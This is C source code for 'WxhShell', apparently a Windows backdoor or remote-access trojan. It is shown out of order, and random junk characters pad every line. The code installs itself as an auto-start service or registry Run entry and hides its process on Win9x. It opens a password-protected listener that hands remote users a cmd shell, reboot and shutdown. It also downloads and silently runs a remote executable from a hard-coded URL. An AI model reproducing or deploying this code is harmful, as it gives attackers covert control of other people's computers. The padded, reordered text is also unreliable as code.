    if(Boot(SHUTDOWN)) <Z0N)0|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $qvk9 B0E  
    else { CrTGC%w{=  
    closesocket(wsh); 1u%e7  
    ExitThread(0); TB oN8cB}  
    } @)R6!"p  
    break;  Uk2U:  
    } *5Mg^}ZC5  
  // 获取shell O8!> t7x  
  case 's': { t;^NgkP{$  
    CmdShell(wsh); Ke 5fe#  
    closesocket(wsh); ?;q  
    ExitThread(0); UNoNsmP  
    break; #3+-vyZm  
  } z?b[ 6DLV;  
  // 退出 )bl'' yO  
  case 'x': { z~Ec*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |aaoi4OJ  
    CloseIt(wsh); 7H,p/G?]k  
    break; \v*WI)]  
    } ;|.~'':  
  // 离开 P%CNu  
  case 'q': { Eps2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {j0c)SETN  
    closesocket(wsh); 0EA<ip  
    WSACleanup(); ; aI`4;  
    exit(1); $L@os2  
    break; z 8w&;Ls  
        } MO1t 0Myc  
  } ;Wo\MN  
  } +!'rw D  
/q3]AVV  
  // 提示信息 vvsQf%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t%B ,ATW  
} Dej2-Y  
  } & rsNB:!  
8/tvS8I#y  
  return; _NkVi_UX  
} 9=-d/y?  
qYwEPGa\  
// shell模块句柄 O<:"Irq\qr  
int CmdShell(SOCKET sock) [|:kS  
{ *j`{ K  
STARTUPINFO si; DbL=2  
ZeroMemory(&si,sizeof(si)); XSw!_d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X AnN<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A3;}C+K  
PROCESS_INFORMATION ProcessInfo; jTDaW8@L  
char cmdline[]="cmd"; 0Ud.u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2#^@awJ ?  
  return 0; )`*=P}D  
} u>YC4&  
 hxedQvW  
// 自身启动模式 l9zkx'xt.-  
int StartFromService(void) 9:]w|lE:D  
{ ZQ0R3=52r  
typedef struct )S,Rx  
{ _a?(JzLw5  
  DWORD ExitStatus; e*zt;SR  
  DWORD PebBaseAddress; O< \i{4}}  
  DWORD AffinityMask; K<_bG<tm_  
  DWORD BasePriority; @N?u{|R:d  
  ULONG UniqueProcessId; 1R e5)Y:i  
  ULONG InheritedFromUniqueProcessId; /W vgC)  
}   PROCESS_BASIC_INFORMATION; 8 <~E;:  
)-RI  
PROCNTQSIP NtQueryInformationProcess; iaq+#k@V  
4"=(kC~~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6dzY9   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?xb4y=P7  
'5*8'.4Sy  
  HANDLE             hProcess; !^,<nP  
  PROCESS_BASIC_INFORMATION pbi; BnB]]<gO"  
t3w:!' Ato  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5Y#W$Fx($R  
  if(NULL == hInst ) return 0;  $O)fHD'  
o-m9}pV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N N1(f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V1 H3}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5d4/}o}%"  
{FrcpcrQa  
  if (!NtQueryInformationProcess) return 0; %]iDhXLr  
$4&%<'l3I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c(R=f +  
  if(!hProcess) return 0; k4AF .U`I  
Pf4b/w/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wB~5&:]jr  
{ ]F };_  
  CloseHandle(hProcess); ?Ji nX'z  
qi&;2Yv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C.& R,$  
if(hProcess==NULL) return 0; @gn}J'  
d7*fP S  
HMODULE hMod; Rl%?c5U/$  
char procName[255]; : }q~<  
unsigned long cbNeeded; _UqE -+&  
nKO4o8js{{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BwpSw\\?@  
-VO&#Mt5u  
  CloseHandle(hProcess); ?_VoO  
4$wn8!x2|  
if(strstr(procName,"services")) return 1; // 以服务启动 3O'6 Ae  
f\{ynC2m  
  return 0; // 注册表启动 3T|xUY)G4  
} $YNWT\FE  
Fr,qVYf  
// 主模块 RTJ\|#w  
int StartWxhshell(LPSTR lpCmdLine) t.ci!#/d  
{ !qQ B}sAf  
  SOCKET wsl; &.ilku/  
BOOL val=TRUE; z+k[HE^S  
  int port=0; 4fq:W`9sN  
  struct sockaddr_in door; xe!([^l&  
z"vI-~,YU  
  if(wscfg.ws_autoins) Install(); ZSUbPz  
W{1"  
port=atoi(lpCmdLine); [T<Z?  
UrP jZ:K'  
if(port<=0) port=wscfg.ws_port; LO&/U4:  
Sp2<rI  
  WSADATA data; 1c%ee$Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s9p~  
6N<v&7cSB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *MG*]\D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5r-OE-U{  
  door.sin_family = AF_INET; .:nV^+)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C~ r(*nr  
  door.sin_port = htons(port); NhgzU+)+  
l0&Y",vy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GlPd)m`  
closesocket(wsl); xX5EhVR   
return 1; gI /#7Cr  
} oQS_rv\Ber  
3R=R k  
  if(listen(wsl,2) == INVALID_SOCKET) { ~hk;OB;  
closesocket(wsl); E;vF :?|  
return 1; eBs4:R_i  
} 68 *~5]  
  Wxhshell(wsl); Z.iQm{bI  
  WSACleanup(); : CR1Oy9  
dP7nR1GS  
return 0; !go$J]T  
+ bU*"5"  
} {+SshT>J  
b;K]; o-/f  
// 以NT服务方式启动 qIC9L"I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;GjZvo  
{ :=J^"c  
DWORD   status = 0; A@o:mZ+XN(  
  DWORD   specificError = 0xfffffff; 8=Z]?D=  
f-BEfC,}'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UgBD| ~zu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \H -,^[G3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q"uP%TN  
  serviceStatus.dwWin32ExitCode     = 0; O.HaEg/-  
  serviceStatus.dwServiceSpecificExitCode = 0; 6bacU#0o  
  serviceStatus.dwCheckPoint       = 0; MB:VACCr  
  serviceStatus.dwWaitHint       = 0; ^hN.FIzM  
J,&B   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^G*zFqa+`  
  if (hServiceStatusHandle==0) return; 9td[^EB#(h  
'cpO"d?{  
status = GetLastError(); -<jd/ 5  
  if (status!=NO_ERROR) Tx|}ke~  
{ v Wt{kg;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @}r2xY1  
    serviceStatus.dwCheckPoint       = 0; l"ZfgJ}W  
    serviceStatus.dwWaitHint       = 0; Wi5rXZS  
    serviceStatus.dwWin32ExitCode     = status; pT ;{05  
    serviceStatus.dwServiceSpecificExitCode = specificError; .vm.g=-q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); r@.3.Q  
    return; Vo; B#lK  
  } p`CVq`k  
B/n/bi8T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P\3$Y-id  
  serviceStatus.dwCheckPoint       = 0; 9_07?`Jr  
  serviceStatus.dwWaitHint       = 0; CB1AL]|3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jr=>L:  
} (oiF05n h  
i=ztWKwKf  
// 处理NT服务事件,比如:启动、停止 t]QGyW A]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,];4+&|8kW  
{ F-g7*  
switch(fdwControl) -2`D(xC  
{ '(4#He?Gd  
case SERVICE_CONTROL_STOP: Y2B ",v"  
  serviceStatus.dwWin32ExitCode = 0; M }H7`,@I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2!y%nkO*  
  serviceStatus.dwCheckPoint   = 0; vvDaL$  
  serviceStatus.dwWaitHint     = 0; +I9+L6>UR  
  { i,h)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eLd7|*|  
  } 4YmN3i  
  return; ^UJ#YRzi  
case SERVICE_CONTROL_PAUSE: `"#0\Wh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zq?Iwyo  
  break; w{HDCPuS  
case SERVICE_CONTROL_CONTINUE: NETji:d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (K}Md~  
  break; qOi3`6LCV  
case SERVICE_CONTROL_INTERROGATE: } XJZw|n  
  break; \i +=tGY  
}; Mb2rHUr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jcuC2t  
} ~:|qdv%\  
u>cU*E4/  
// 标准应用程序主函数 ^9ZW }AAO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3o>.Z;  
{ J6s55 v  
potb6jc?  
// 获取操作系统版本 sY#iGEf  
OsIsNt=GetOsVer(); G|"`kAa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'B$ bGQ  
vcsMU|GGh  
  // 从命令行安装 @6~OQN  
  if(strpbrk(lpCmdLine,"iI")) Install(); T 5jZd@VT,  
qZ8 V/  
  // 下载执行文件 yzml4/X  
if(wscfg.ws_downexe) { o (OC3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) | gou#zi  
  WinExec(wscfg.ws_filenam,SW_HIDE); fV` R7m.  
} f7Dx.-  
q%/ciPgE  
if(!OsIsNt) { g3i !>  
// 如果时win9x,隐藏进程并且设置为注册表启动 IIW6;jS  
HideProc(); 1 ^k#g,  
StartWxhshell(lpCmdLine); ;h }^f-  
} dF- d  
else 09RJc3XE9  
  if(StartFromService()) z+J4XpX0,  
  // 以服务方式启动 7r_Y.  
  StartServiceCtrlDispatcher(DispatchTable); ke(LjRS  
else j(8I+||  
  // 普通方式启动 g[W`4  
  StartWxhshell(lpCmdLine); &;)6G1X1  
W9$mgs=S`E  
return 0; wkp|V{k  
} hgz7dF  
<^Hh5kfS'  
>#MGGCGL  
Q>FuNdUk  
=========================================== L'>t:^QTh  
p4|Zz:f  
'$cU\DTN6  
/y \KLa  
Ff\U]g  
3j2% '$>E^  
" jx=2^A/i2-  
ZA;wv+hF=  
#include <stdio.h> )I`6XG  
#include <string.h> <.d0GD`^  
#include <windows.h> mh4NZ @;  
#include <winsock2.h> #hBDOXHPf  
#include <winsvc.h> qP"<vZ  
#include <urlmon.h> *+E9@r=HF  
D\:~G}M  
#pragma comment (lib, "Ws2_32.lib") y3 {om^ f  
#pragma comment (lib, "urlmon.lib") quB .A7~^=  
CVi3nS5Yl  
#define MAX_USER   100 // 最大客户端连接数 ;tR,w   
#define BUF_SOCK   200 // sock buffer pGy]t  
#define KEY_BUFF   255 // 输入 buffer }v[$uT-q  
(> v1)*r  
#define REBOOT     0   // 重启 Tv;|K's'  
#define SHUTDOWN   1   // 关机 ]0HlPP:2  
  0%  
#define DEF_PORT   5000 // 监听端口 [-@Lbu-|  
r[:)-`]b  
#define REG_LEN     16   // 注册表键长度 .<|7BHL  
#define SVC_LEN     80   // NT服务名长度 +^c;4-X 0  
>F zu]G4]  
// 从dll定义API j}=$2|}8{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "[.adiw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [hf#$Dl |  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (i,TxjS'od  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FS%Xq-c  
h5bQ  
// wxhshell配置信息 /^E2BRI  
struct WSCFG { \pzqUTk  
  int ws_port;         // 监听端口 x)h p3&L  
  char ws_passstr[REG_LEN]; // 口令 'w+T vOB  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y%UfwbX!g  
  char ws_regname[REG_LEN]; // 注册表键名 _fH.#C  
  char ws_svcname[REG_LEN]; // 服务名 .1yp}&e#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %2<G3]6^U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]F@XGJN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^n|u$gIF8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [Hn4&PET  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [T;0vv8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O)'Bx=S4Ke  
G<C[A  
}; mis cmD  
/\-qz$  
// default Wxhshell configuration k,xY\r$  
struct WSCFG wscfg={DEF_PORT, f$x\~y<[  
    "xuhuanlingzhe",  R1YRqk  
    1, Q0f7gY1-%  
    "Wxhshell", |pv:'']J  
    "Wxhshell", _|x b)_  
            "WxhShell Service", JDi|]JY  
    "Wrsky Windows CmdShell Service", 9PA\Eo|Yb  
    "Please Input Your Password: ", F/\w4T  
  1, b!Q|0X.?  
  "http://www.wrsky.com/wxhshell.exe", a_YE[6  
  "Wxhshell.exe" _MfB,CS  
    }; ZJ9J*5!C  
l@FPTHq  
// 消息定义模块 VRYj&s'@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n>tYeN)F<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sXm/+I^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [YY[E 7  
char *msg_ws_ext="\n\rExit."; x4cP%{n  
char *msg_ws_end="\n\rQuit."; ocCC63J  
char *msg_ws_boot="\n\rReboot..."; KZ/U2.{O<  
char *msg_ws_poff="\n\rShutdown..."; p/B&R@%  
char *msg_ws_down="\n\rSave to "; vdloh ,  
[q/=%8qLUA  
char *msg_ws_err="\n\rErr!"; 9-Bp=M  
char *msg_ws_ok="\n\rOK!"; /O1r=lv3Z  
c|[:vin  
char ExeFile[MAX_PATH]; qALlMj--m  
int nUser = 0; /s3AZ j9  
HANDLE handles[MAX_USER]; m$xL#omD  
int OsIsNt; ~3 Y)o|D3  
UdmYS3zs  
SERVICE_STATUS       serviceStatus; YFD'&N,sx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'W 5r(M4U  
 9x/HQ(1  
// 函数声明 ?Gc9^b B I  
int Install(void); >|L,9lR_b  
int Uninstall(void); ?b0VB  
int DownloadFile(char *sURL, SOCKET wsh); MR/jM@8  
int Boot(int flag); (MiEXU~v  
void HideProc(void); l BS!=/7  
int GetOsVer(void); D!kv+<+  
int Wxhshell(SOCKET wsl); 8B C F.y  
void TalkWithClient(void *cs); JPQ[JD^]  
int CmdShell(SOCKET sock); ID" '`DKxe  
int StartFromService(void); wSHE~Xx  
int StartWxhshell(LPSTR lpCmdLine); )A9K9pZj  
D.H$4[u;j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UH1AT#?!W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @~0kSA7  
9"g=it2Rh6  
// 数据结构和表定义 `#&pB0.y  
SERVICE_TABLE_ENTRY DispatchTable[] = .7TQae%  
{ > $0eRVL  
{wscfg.ws_svcname, NTServiceMain}, h_ef@ZwSw  
{NULL, NULL} TJ3CXyRq  
}; o0b}:`  
Yhl {'  
// 自我安装 3Xgf=yG:M  
int Install(void) ?y82S*sb#  
{ PDaHY  
  char svExeFile[MAX_PATH]; 6'UtB!gr  
  HKEY key; l/,O9ur-  
  strcpy(svExeFile,ExeFile); U`_(Lq%5W  
,.tv#j|A  
// 如果是win9x系统,修改注册表设为自启动 F23/|q{{  
if(!OsIsNt) { ooY2"\o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tx%6whd/'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &K5wCNX1  
  RegCloseKey(key); 1\:puC\)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R{.5Z/Vp6E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fx2z lM&  
  RegCloseKey(key); >VnkgY  
  return 0; _Z'j%/-4@D  
    } } )O ^xF ~  
  } W!pLk/|ls  
} Qhb].V{utV  
else { 0UeDM*  
SovK|b &  
// 如果是NT以上系统,安装为系统服务 l\7NR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); '+ 1<7jl&I  
if (schSCManager!=0) s0"S;{_#  
{ r+fR^hv  
  SC_HANDLE schService = CreateService =D.M}x qo  
  ( :nYl]Rm  
  schSCManager, #W,BUN}  
  wscfg.ws_svcname, _sIhQ8$:  
  wscfg.ws_svcdisp, ab8uY.j  
  SERVICE_ALL_ACCESS, *[jG^w0z8~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]Ln2|$R  
  SERVICE_AUTO_START, z"8%W?o>  
  SERVICE_ERROR_NORMAL, ^OKCvdS  
  svExeFile, DytH } U"  
  NULL, _7>$'V{  
  NULL, f^il|Obzl  
  NULL, GGk.-Ew@  
  NULL, Y<M,/Y_ !  
  NULL qy=4zOOD#  
  ); hD!W&Er  
  if (schService!=0) k L2(M6m  
  { 7ET^,6  
  CloseServiceHandle(schService); p ASNiH698  
  CloseServiceHandle(schSCManager); VH7VJ [  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #y13(u,dN  
  strcat(svExeFile,wscfg.ws_svcname); #4"(M9kf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  $6w[h7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !qPVC\l  
  RegCloseKey(key); YlD ui8.N  
  return 0; /gT$d2{  
    } 44 ,:@  
  } mxsmW  
  CloseServiceHandle(schSCManager); +c5z-X$^]  
} {aP5Mem  
} DK 4 8  
l<qK' P4  
return 1; ~F?s\kp6  
} cmF&1o3_  
o %sBU  
// 自我卸载 q y73  
int Uninstall(void) 57IAH$n8o  
{ YG ,  
  HKEY key; 3 RG*:9  
FI++A`  
if(!OsIsNt) { MIvAugUOl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,R/HT@  
  RegDeleteValue(key,wscfg.ws_regname); ?#"rI6  
  RegCloseKey(key); L A-H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |f1 S&b.  
  RegDeleteValue(key,wscfg.ws_regname); WGFp<R  
  RegCloseKey(key); {pMbkA Q@  
  return 0; hI*gw3V  
  } j|"#S4IX)F  
} |F z/9+I  
} fH? e9E4l  
else { 5BnO-[3  
(@*[^@ipV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tcyami6D4  
if (schSCManager!=0) t%Hg8oya  
{ xayo{l=uGv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wJM})O%SQ  
  if (schService!=0) <EFA^,3t%  
  { ,K=\Y9l3  
  if(DeleteService(schService)!=0) { 8px@sXI*`  
  CloseServiceHandle(schService); ,>lOmyh  
  CloseServiceHandle(schSCManager); . (G9mZFV  
  return 0; 8enlF\I8g  
  } jY'svD~  
  CloseServiceHandle(schService); !'uL  
  } V(Ll]g/T_;  
  CloseServiceHandle(schSCManager); PjZsMHW%  
} Ag=>F5  
} 7Y T%.ID  
]w z`j1  
return 1; h`n,:Y^++P  
} mn;;wp  
mxk :P  
// 从指定url下载文件 8A/"ia  
int DownloadFile(char *sURL, SOCKET wsh) 7l}P!xa&  
{ P6'Oe|+'  
  HRESULT hr; 0o~? ]C  
char seps[]= "/"; KDr?<"2L  
char *token; 9TRS#iVL+*  
char *file; -N;$L~`iAt  
char myURL[MAX_PATH]; l&l&e OE  
char myFILE[MAX_PATH]; UFBggT\  
:VpRpj4f  
strcpy(myURL,sURL); o1<Y#db[  
  token=strtok(myURL,seps); 4ti\;55{W  
  while(token!=NULL) X!Ag7^E  
  { P{j2'gg3  
    file=token; g bDre~|  
  token=strtok(NULL,seps); "8}p>gS  
  } vYQ0e:P  
$SAq/VHI1]  
GetCurrentDirectory(MAX_PATH,myFILE); Nn<TPT[,  
strcat(myFILE, "\\"); wdg,dk9e$  
strcat(myFILE, file); =K'X:UM  
  send(wsh,myFILE,strlen(myFILE),0); 5{nERKaPf  
send(wsh,"...",3,0); C+ar]Vi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JDPn   
  if(hr==S_OK) {FRUB(68b  
return 0; ,aOi:aaZRT  
else j"6r]nc&  
return 1; o %GVg  
8,iBG! RF  
} &Omo\Oq&W>  
lz2B,#  
// 系统电源模块 3z7SK Gy  
int Boot(int flag) nvY3$ Ty  
{ Tbf't^Ot$  
  HANDLE hToken; Y,BzBUWK  
  TOKEN_PRIVILEGES tkp; "B`k  
o 4G%m>$  
  if(OsIsNt) { -]yM<dP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8R?X$=$]!.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FYPv:k   
    tkp.PrivilegeCount = 1; dr3j<D-Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XY %er  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }j<:hD QP  
if(flag==REBOOT) { |f5WN&c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 32h}+fd  
  return 0; 1 ; _tu  
} %N5gQXg  
else { :/YHU3~Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *_feD+rq  
  return 0; o/0cd  
} iF]G$@rbU  
  } We%HdTKT  
  else { qTc-Z5  
if(flag==REBOOT) { 9C&Xs nk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <Y%km[Mh  
  return 0; 38ac~1HjE  
} Gy}WZ9{  
else { }!_x\eq^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5cahbx1"  
  return 0; r'bctFsD  
} F}9!k LR  
} S-x'nu$u  
E"i<fr T  
return 1; z[Sq7bbYO  
} j v9DQr  
Dp1FX"a)  
// win9x进程隐藏模块 VpmwN`  
void HideProc(void) gbvM2  
{ _0HCtx ;  
K]c|v i_D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); scr`] tD  
  if ( hKernel != NULL ) pO]{Y?X:  
  { %3p~5jhm1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); } @r|o:I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nV`n=x  
    FreeLibrary(hKernel); DX3xWdnr  
  } Xn:5pd;?B6  
Q\H1=8  
return; '7BJ.  
} /hrVnki*  
*[XVkt`H  
// 获取操作系统版本 p7SX,kpt>  
int GetOsVer(void) !+bLh W`  
{ m .:2G  
  OSVERSIONINFO winfo; h\qQ%|X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Cu2eMUGt  
  GetVersionEx(&winfo); Y9}5&#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~vL7$-:  
  return 1; ^wnlZ09J  
  else %w9/ gD  
  return 0; Z"ce1cB  
} k[_)5@2  
vI84= n  
// 客户端句柄模块 W~" 'a9H/  
int Wxhshell(SOCKET wsl) gteG*pi  
{ ;dC>$_P?  
  SOCKET wsh; YJ6y]r K2,  
  struct sockaddr_in client; _ aJo7  
  DWORD myID; QmHj=s:x\  
V1yY>  
  while(nUser<MAX_USER) yM_ta '^$  
{ F+!w[}0  
  int nSize=sizeof(client); dWR-}>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5Q/&,NP  
  if(wsh==INVALID_SOCKET) return 1; !UzMuGj  
eT!*_.' e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OEZ`5"j  
if(handles[nUser]==0) +ConK>;  
  closesocket(wsh); &XvSAw+D@  
else @%FLT6MY  
  nUser++; aLo^f= S  
  } 0\B31=N(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /JcfAY  
/m"#uC!\  
  return 0; / 5\gP//9K  
} {fd/:B 7T  
{4C/ZA{|l  
// 关闭 socket l_q=@y  
void CloseIt(SOCKET wsh) T"bH{|:%*=  
{ fen~k#|l  
closesocket(wsh); o[A y2"e?  
nUser--; tyI !y~-z  
ExitThread(0); *UerLpf  
} eb#yCDIC   
L2 ybL#dz  
// 客户端请求句柄 nO\c4#ce  
void TalkWithClient(void *cs) <<SUIY@X  
{ /%9Ge AAs  
^ ,cwm:B@  
  SOCKET wsh=(SOCKET)cs; RV=Z$  
  char pwd[SVC_LEN]; uY_vX\;67z  
  char cmd[KEY_BUFF]; nt:d,H<p  
char chr[1]; @H83Ad  
int i,j; bb4 `s0  
0[ BPmO6  
  while (nUser < MAX_USER) { t@#l0lu$  
gs:V4$(p4  
if(wscfg.ws_passstr) { 4Ou5Vp&y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QjIn0MJ)Xm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @CB&*VoB  
  //ZeroMemory(pwd,KEY_BUFF); ! ^ DQX=1  
      i=0; id?B<OM  
  while(i<SVC_LEN) { h>a/3a$g  
~+)sL1lx  
  // 设置超时 + g*s%^(E  
  fd_set FdRead; <Pnz$nH:e  
  struct timeval TimeOut; Sb|9U8h  
  FD_ZERO(&FdRead); >WZ_) `R  
  FD_SET(wsh,&FdRead); 6OPYq*|  
  TimeOut.tv_sec=8; ,_iR  
  TimeOut.tv_usec=0; >^Z==1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F,.dC&B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AZ7m=Q97  
~u.( (GM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +7V4mF!u  
  pwd=chr[0]; }o:sU^Pwa  
  if(chr[0]==0xd || chr[0]==0xa) { } \?]uNH  
  pwd=0; f\vy5''  
  break; /\wm/Yx?S  
  } #,5v#| u|7  
  i++; >D5WAQ>b  
    } + e3{J_  
n85d g  
  // 如果是非法用户,关闭 socket JFOXrRR=d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2FxrjA  
} -}G>{5.A  
Vb++K0CK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +FBUB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5*hA6Ex7  
(/[wM>q:r  
while(1) { A dL>?SG%  
4Q?3gA1  
  ZeroMemory(cmd,KEY_BUFF); ?.~hex#M@  
= lMs1}S9  
      // 自动支持客户端 telnet标准   T*"*##c  
  j=0; LcW:vV|'K  
  while(j<KEY_BUFF) { 7Ap==J{a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xV\mS+#  
  cmd[j]=chr[0]; 50R&;+b  
  if(chr[0]==0xa || chr[0]==0xd) { O?OG`{k  
  cmd[j]=0; U?e.)G  
  break; tPz!C&.=  
  } gNaB^IY  
  j++; 8r\;8all  
    } Y7GHIzX  
@\?QZX(H  
  // 下载文件 "~,3gNTzV  
  if(strstr(cmd,"http://")) { %SC%#_7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1$RUhxT  
  if(DownloadFile(cmd,wsh)) I=c}6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !)//b]  
  else g&?RQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "V>p  
  } ,b'QL6>`  
  else { 7\<}378/^  
HlgkW&}c^  
    switch(cmd[0]) { caD|*.b  
  ~ \3j{pr  
